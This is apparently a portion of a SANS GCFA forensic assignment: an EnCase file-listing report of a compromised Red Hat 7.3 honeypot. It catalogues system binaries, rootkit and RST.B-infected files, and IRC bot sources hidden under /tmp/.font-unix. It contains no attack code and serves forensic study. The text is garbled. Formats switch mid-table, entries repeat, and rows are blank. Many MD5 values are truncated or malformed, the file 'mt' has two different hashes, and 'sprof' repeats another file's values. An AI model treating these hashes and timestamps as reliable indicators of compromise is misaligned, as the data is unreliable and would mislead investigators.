<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>82e9e2b2ecbc475d576a799fa51ab3df</td>
<td>15,360</td>
<td>14,367</td>
</tr>
<tr>
<td>216</td>
<td>echo</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\echo</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>59a844056de45855afa945cab1fc044d</td>
<td>20,480</td>
<td>19,839</td>
</tr>
<tr>
<td>217</td>
<td>doexec</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\doexec</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>92999ee2742dcc42e7283c5dc9825922</td>
<td>14,336</td>
<td>13,474</td>
</tr>
<tr>
<td>218</td>
<td>dmesg</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\dmesg</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td></td>
<td>13,474</td>
<td></td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Sans GCFA Cert Assignment\EnCase Computer Analysis Report

Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\dmesg
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:02PM
Last Written 04/01/02 05:26:24PM
Hash Value cf01c9d9574357c27510afff2f1630a7
Physical Size 13,312
Logical Size 12,843

219) Name date
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\date
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:00PM
Last Written 04/08/02 10:02:12AM
Hash Value 35c3004dda5210896d46d2925bc17dea
Physical Size 31,744
Logical Size 30,815

220) Name cut
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\cut
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:01PM
Last Written 03/22/02 05:02:03PM
Hash Value 6219a330ee1e688ab8068885eb54a65f
Physical Size 29,696
Logical Size 28,810

221) Name consolechars
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\consolechars
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:01PM
Last Written 04/15/02 08:05:51AM
Hash Value b5acb19c71a903833d26da5dc5f1ac13
Physical Size 52,224
Logical Size 51,807

222) Name clean
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\clean
Entry Modified 06/29/03 03:22:08PM
Last Accessed 06/29/03 03:25:20PM
Last Written 02/06/02 04:26:29AM
Hash Value 9e2970e3a7682440316b6e1a2687cbe
Physical Size 2,048
Logical Size 1,250

223) Name chmod
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\chmod
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:02:10AM
Last Written 06/29/03 03:22:11PM
## EnCase Computer Analysis Report

### Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>cat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\cat</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/22/02 05:02:03PM</td>
<td>52fd1af36d878c9986aa9a225f64ee65</td>
<td>29,696</td>
<td>29,549</td>
</tr>
<tr>
<td>rmt</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\sbin\rmt</td>
<td>06/30/03 04:45:40PM</td>
<td>06/20/03 04:07:15PM</td>
<td>03/01/02 06:40:43AM</td>
<td>d50f6c9ae20a2a19a76026ac9d702d55</td>
<td>378,880</td>
<td>378,827</td>
</tr>
</tbody>
</table>

**Files outside root kit infected with Linux RST.B virus**

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>mail</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mail</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>03/03/03 04:55:50PM</td>
<td>e9762cd89f17ec6e14b09a799f66ab48</td>
<td>75,776</td>
<td>75,251</td>
</tr>
<tr>
<td>mt</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mt</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>03/03/03 04:55:50PM</td>
<td>14465d16b54806ed90e4884d5fd</td>
<td>22,528</td>
<td>21,711</td>
</tr>
<tr>
<td>mt</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mt</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>03/03/03 04:55:50PM</td>
<td>14465d16b54806ed90e4884d5fd</td>
<td>22,528</td>
<td>21,711</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report  Page 297

Last Written 06/30/03 04:55:50PM
Hash Value 14465d16b6091586bd9d0e4884d5fd
Physical Size 22,528
Logical Size 21,711

229) Name netstat
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\netstat
Entry Modified 06/30/03 04:55:50PM
Last Accessed 06/30/03 04:55:50PM
Last Written 06/30/03 04:55:50PM
Hash Value 8a6c03c19c4c93dfca31bee94ce45da
Physical Size 39,936
Logical Size 39,399

230) Name cpio
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\cpio
Entry Modified 06/30/03 04:55:50PM
Last Accessed 06/30/03 04:55:50PM
Last Written 06/30/03 04:55:50PM
Hash Value c61b782df9a5fbae4815ff9d6b574d55
Physical Size 74,752
Logical Size 74,031

231) Name bash
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\bash
Entry Modified 06/19/03 11:34:09AM
Last Accessed 06/30/03 04:55:47PM
Last Written 04/12/02 10:09:54AM
Hash Value 11f4690af5b4e3b56a9477f12aece4f4
Physical Size 541,696
Logical Size 541,096

232) Name chgrp
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\chgrp
Entry Modified 06/30/03 04:55:50PM
Last Accessed 06/30/03 04:55:50PM
Last Written 06/30/03 04:55:50PM
Hash Value f4912b365afa78bee535a5c2db1cdceea
Physical Size 25,600
Logical Size 25,183

233) Name ed
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ed
Entry Modified 06/30/03 04:55:50PM
Last Accessed 06/30/03 04:55:50PM
Last Written 06/30/03 04:55:50PM
Hash Value c08b691329e671e3dea363239e2c9d24
Physical Size 92,160
Logical Size 91,823
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\chown</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>1e9625aa68abf521f64603af3b8ff8b8</td>
<td>27,648</td>
<td>27,039</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\dd</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>6dd588d7284f7606d6c4f90af6dab74a</td>
<td>37,888</td>
<td>37,375</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ln</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>44ac2d1c35045f3f2052d9d21ae75ae8</td>
<td>29,696</td>
<td>28,863</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mkdir</td>
<td>06/29/03 03:39:21PM</td>
<td>06/29/03 03:41:11PM</td>
<td>06/29/03 03:39:21PM</td>
<td>7aae71b278f929d854f489fda2f98fd</td>
<td>23,552</td>
<td>22,655</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mv</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>d45155beffebb7ac6d26a7add84d3a</td>
<td>53,248</td>
<td>52,255</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\egrep</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Entry Modified 06/19/03 11:34:42AM
Last Accessed 06/30/03 04:50:01PM
Last Written 03/26/02 11:24:49AM
Hash Value 1a1c4e75e82a51bc570350aa22184913
Physical Size 1,024
Logical Size 33

240) Name mnetstat
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mnetstat
Entry Modified 06/29/03 03:25:20PM
Last Accessed 06/30/03 04:50:02PM
Last Written 06/29/03 03:25:20PM
Hash Value 3939b3986c7342c121aa395a658a5232
Physical Size 109,568
Logical Size 108,932

241) Name bzip2recover
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\bzip2recover
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 5d50b7a01bbf832876e7092dc91d70f4
Physical Size 16,384
Logical Size 15,624

242) Name gencat
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 84492adb4dddeccff3e3c8a30c99725b
Physical Size 20,480
Logical Size 18,040

243) Name gencat
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 84492adb4dddeccff3e3c8a30c99725b
Physical Size 20,480
Logical Size 18,040

244) Name getent
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\getent
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value f1a14ddaf6053137dbda6798ee90f5a9

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
## EnCase Computer Analysis Report

### Sans GCFA Cert Assignment: EnCase Computer Analysis Report

<table>
<thead>
<tr>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>20,480</td>
<td>19,240</td>
</tr>
</tbody>
</table>

245) Name: `iconv`  
Description: File  
Full Path: `/usr/bin/iconv`  
Entry Modified: 06/29/03 11:53:01PM  
Last Accessed: 06/29/03 11:53:01PM  
Last Written: 06/29/03 11:53:01PM  
Hash Value: `cfaa21a7bab79204868fa7265a7870e6`  
Physical Size: 53,248  
Logical Size: 51,004

246) Name: `lddlibc4`  
Description: File  
Full Path: `/usr/bin/lddlibc4`  
Entry Modified: 06/29/03 11:53:01PM  
Last Accessed: 06/29/03 11:53:01PM  
Last Written: 06/29/03 11:53:01PM  
Hash Value: `2e4e896f0ea9192ef5d94673d79dd403`  
Physical Size: 8,192  
Logical Size: 7,800

247) Name: `localedef`  
Description: File  
Full Path: `/usr/bin/localedef`  
Entry Modified: 06/29/03 11:53:01PM  
Last Accessed: 06/29/03 11:53:01PM  
Last Written: 06/29/03 11:53:01PM  
Hash Value: `bb5be07bef4f5b4d281cf00e5a4fdbc3`  
Physical Size: 299,008  
Logical Size: 298,828

248) Name: `localedef`  
Description: File  
Full Path: `/usr/bin/localedef`  
Entry Modified: 06/29/03 11:53:01PM  
Last Accessed: 06/29/03 11:53:01PM  
Last Written: 06/29/03 11:53:01PM  
Hash Value: `bb5be07bef4f5b4d281cf00e5a4fdbc3`  
Physical Size: 299,008  
Logical Size: 298,828

249) Name: `sprof`  
Description: File  
Full Path: `/usr/bin/sprof`  
Entry Modified: 06/29/03 11:53:01PM  
Last Accessed: 06/29/03 11:53:01PM  
Last Written: 06/29/03 11:53:01PM  
Hash Value: `bb5be07bef4f5b4d281cf00e5a4fdbc3`  
Physical Size: 299,008  
Logical Size: 298,828

250) Name: `sprof`
### Description File

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>db1_dump185</td>
<td></td>
<td>/usr/bin/db1_dump185</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>174712fef4fb412ad992e992e3a35182</td>
<td>12,288</td>
<td>11,525</td>
</tr>
<tr>
<td>lsattr</td>
<td></td>
<td>/usr/bin/lsattr</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
<tr>
<td>eject</td>
<td></td>
<td>/usr/bin/eject</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Sans GCFA Cert Assignment\EnCase Computer Analysis Report  Page 302

Last Written  06/29/03 11:53:01PM
Hash Value  85042620b5dd45a67c0280c9a3751793
Physical Size  28,672
Logical Size 25,812

256) Name: eject
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\eject
Entry Modified  06/29/03 11:53:01PM
Last Accessed  06/29/03 11:53:01PM
Last Written  06/29/03 11:53:01PM
Hash Value  85042620b5dd45a67c0280c9a3751793
Physical Size  28,672
Logical Size 25,812

257) Name: file
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\file
Entry Modified  06/29/03 11:53:01PM
Last Accessed  06/29/03 11:53:01PM
Last Written  06/29/03 11:53:01PM
Hash Value  63a4be81d1843be376f98b0986ff836a
Physical Size  49,152
Logical Size 48,674

258) Name: file
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\file
Entry Modified  06/29/03 11:53:01PM
Last Accessed  06/29/03 11:53:01PM
Last Written  06/29/03 11:53:01PM
Hash Value  63a4be81d1843be376f98b0986ff836a
Physical Size  49,152
Logical Size 48,674

259) Name: ksymoops
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\ksymoops
Entry Modified  06/29/03 11:53:01PM
Last Accessed  06/29/03 11:53:01PM
Last Written  06/29/03 11:53:01PM
Hash Value  0d9ddca9a28d03c0313ac4012f20c6c31
Physical Size  450,560
Logical Size 448,456

260) Name: ksymoops
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\ksymoops
Entry Modified  06/29/03 11:53:01PM
Last Accessed  06/29/03 11:53:01PM
Last Written  06/29/03 11:53:01PM
Hash Value  0d9ddca9a28d03c0313ac4012f20c6c31
Physical Size  450,560
Logical Size 448,456
EnCase Computer Analysis Report

261) Name  a2p
Description  File
Full Path  Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/usr/bin/a2p
Entry Modified  06/29/03 11:53:02PM
Last Accessed  06/29/03 11:53:02PM
Last Written  06/29/03 11:53:02PM
Hash Value  5da1e3d5a9112696f1f17b6c2256240e
Physical Size  110,592
Logical Size  106,681

262) Name  a2p
Description  File
Full Path  Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/usr/bin/a2p
Entry Modified  06/29/03 11:53:02PM
Last Accessed  06/29/03 11:53:02PM
Last Written  06/29/03 11:53:02PM
Hash Value  5da1e3d5a9112696f1f17b6c2256240e
Physical Size  110,592
Logical Size  106,681

IRC Files

263) Name  services
Description  File
Full Path  Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/tmp/.font-unix/X11-:
pipe/inetd/services
Entry Modified  06/29/03 03:32:50PM
Last Accessed  06/29/03 03:32:50PM
Last Written  03/15/02 07:27:40PM
Hash Value  a964f156ab911428a2ae6e8349842f13
Physical Size  475,136
Logical Size  474,596

264) Name  randpickup.e
Description  File
Full Path  Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/tmp/.font-unix/X11-:
pipe/randfiles/randpickup.e
Entry Modified  06/29/03 03:32:50PM
Last Accessed  06/29/03 03:32:50PM
Last Written  10/09/00 06:22:02PM
Hash Value  d05256617d3228d1eb4dade6f64bd0529
Physical Size  3,072
Logical Size  2,495

265) Name  Makefile.in
Description  File
Full Path  Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/tmp/.font-unix/X11-:
pipe/src/Makefile.in
Entry Modified  06/29/03 03:32:50PM
Last Accessed  06/29/03 03:32:50PM
Last Written  10/09/00 06:22:02PM
<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>266)</td>
<td>commands.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\commands.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/27/01 07:15:16AM</td>
<td>a1b52263b8a66d7c90fc549ef70230c4</td>
<td>41,984</td>
<td>41,966</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>267)</td>
<td>dcc.c</td>
<td>Description</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\dcc.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>e07988695868cd8b4a5e4952b4cbb0</td>
<td>10,240</td>
<td>9,929</td>
</tr>
<tr>
<td></td>
<td></td>
<td>File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>268)</td>
<td>global.h</td>
<td>Description</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\global.h</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/26/01 06:12:04PM</td>
<td>c0f09ce5d8d0a233c599a39a8fa089be</td>
<td>12,288</td>
<td>12,044</td>
</tr>
<tr>
<td></td>
<td></td>
<td>File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>269)</td>
<td>structs.h</td>
<td>Description</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\structs.h</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/26/01 04:27:42PM</td>
<td>7f4edf55bb5062c91208937b4c3738c</td>
<td>9,216</td>
<td>8,264</td>
</tr>
<tr>
<td></td>
<td></td>
<td>File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>270)</td>
<td>config.h</td>
<td>Description</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\config.h</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Last Accessed: 06/29/03 03:32:50PM
Last Written: 08/27/01 01:50:54PM
Hash Value: 3ac8152d92ce3822bd6eafe4a777da13
Physical Size: 9,216
Logical Size: 8,249

271) Name: combot.o
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\combot.o
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 08/27/01 02:00:24PM
Hash Value: 1568e3352c2d6b24c7a68ba1923f0
Physical Size: 68,608
Logical Size: 67,624

272) Name: dcc.o
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\dcc.o
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 08/27/01 02:00:26PM
Hash Value: 5b71f957cb4413bd2a436f56deba6d0f
Physical Size: 56,320
Logical Size: 55,580

273) Name: function.o
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\function.o
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 08/27/01 02:00:28PM
Hash Value: cdc0ec786c3c71249b74c017c510ffd
Physical Size: 74,752
Logical Size: 74,052

274) Name: main.o
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\main.o
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 08/27/01 02:00:32PM
Hash Value: 4af75da2abc5aa65f665f66515d29fd095b
Physical Size: 81,920
Logical Size: 81,328

275) Name: xmech.o
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\xmech.o
Entry Modified: 06/29/03 03:32:50PM
276) Name randinsult.e  
Description File  
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\.X11-pipe\randfiles\randinsult.e  
Entry Modified 06/29/03 03:32:50PM  
Last Accessed 06/29/03 03:32:50PM  
Last Written 10/09/00 06:22:02PM  
Hash Value a1b350ce4e068376627b4e9c36ebc9f7  
Physical Size 4,096  
Logical Size 3,982

277) Name randinsult.e  
Description File  
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\.X11-pipe\randfiles\randinsult.e  
Entry Modified 06/29/03 03:32:50PM  
Last Accessed 06/29/03 03:32:50PM  
Last Written 10/09/00 06:22:02PM  
Hash Value a1b350ce4e068376627b4e9c36ebc9f7  
Physical Size 4,096  
Logical Size 3,982

278) Name randversions.e  
Description File  
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\.X11-pipe\randfiles\randversions.e  
Entry Modified 06/29/03 03:32:50PM  
Last Accessed 06/29/03 03:32:50PM  
Last Written 10/09/00 06:22:02PM  
Hash Value 0b252e189020453aad18b93913e44ec3  
Physical Size 2,048  
Logical Size 1,465

279) Name com-ons.c  
Description File  
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\.X11-pipe\src\com-ons.c  
Entry Modified 06/29/03 03:32:50PM  
Last Accessed 06/29/03 03:32:50PM  
Last Written 02/27/01 07:14:04AM  
Hash Value daf8812cc62b784f6d6a10ef388288d7  
Physical Size 28,672  
Logical Size 28,470

280) Name defines.h  
Description File  
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.font-unix\.X11-pipe\src\defines.h
## EnCase Computer Analysis Report

### Sans GCFA Cert Assignment

#### Page 307

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>281) Name</strong>: h.h</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Description File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\h.h</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Last Written</td>
<td>10/09/00 06:22:02PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Hash Value</td>
<td>854b211a185d795497cc0a21c7778249</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Physical Size</td>
<td>5,120</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Logical Size</td>
<td>4,508</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

| **282) Name**: main.c | | | | | |
| Description File | | | | | |
| Full Path | Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\main.c | | | | |
| Entry Modified | 06/29/03 03:32:50PM | | | | |
| Last Accessed | 06/29/03 03:32:50PM | | | | |
| Last Written | 02/26/01 06:00:24PM | | | | |
| Hash Value | 8e0b21b02c62373ed8bca9974ee10776 | | | | |
| Physical Size | 16,384 | | | | |
| Logical Size | 15,681 | | | | |

| **283) Name**: parse.c | | | | | |
| Description File | | | | | |
| Full Path | Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\parse.c | | | | |
| Entry Modified | 06/29/03 03:32:50PM | | | | |
| Last Accessed | 06/29/03 03:32:50PM | | | | |
| Last Written | 02/26/01 06:13:24PM | | | | |
| Hash Value | 0b82e8de8deab893ff5ca121cfc6b864 | | | | |
| Physical Size | 21,504 | | | | |
| Logical Size | 21,078 | | | | |

| **284) Name**: vars.c | | | | | |
| Description File | | | | | |
| Full Path | Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\vars.c | | | | |
| Entry Modified | 06/29/03 03:32:50PM | | | | |
| Last Accessed | 06/29/03 03:32:50PM | | | | |
| Last Written | 10/09/00 06:22:02PM | | | | |
| Hash Value | 57bddcbda9d9126a49472d85485bae729 | | | | |
| Physical Size | 10,240 | | | | |
| Logical Size | 10,190 | | | | |

<p>| <strong>285) Name</strong>: vars.c | | | | | |
| Description File | | | | | |
| Full Path | Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\vars.c | | | | |
| Entry Modified | 06/29/03 03:32:50PM | | | | |
| Last Accessed | 06/29/03 03:32:50PM | | | | |</p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>286) cfgfile.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\src\cfgfile.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:20PM</td>
<td>0a445c0fa05cf6b6d3c4af0fc99ece2</td>
<td>71,680</td>
<td>71,392</td>
</tr>
<tr>
<td>287) com-ons.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\src\com-ons.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:20PM</td>
<td>1f39ee4b22d6e67cae4269eccfead55e</td>
<td>92,160</td>
<td>91,656</td>
</tr>
<tr>
<td>288) socket.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\src\socket.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:34PM</td>
<td>f24d2e6209d9af3cb33ef16714d5b035</td>
<td>56,320</td>
<td>55,316</td>
</tr>
<tr>
<td>289) TODO</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\TODO</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>10/09/00 06:22:02PM</td>
<td>d4179b3d4a1928a7e13fe0f8773943e</td>
<td>2,048</td>
<td>1,569</td>
</tr>
<tr>
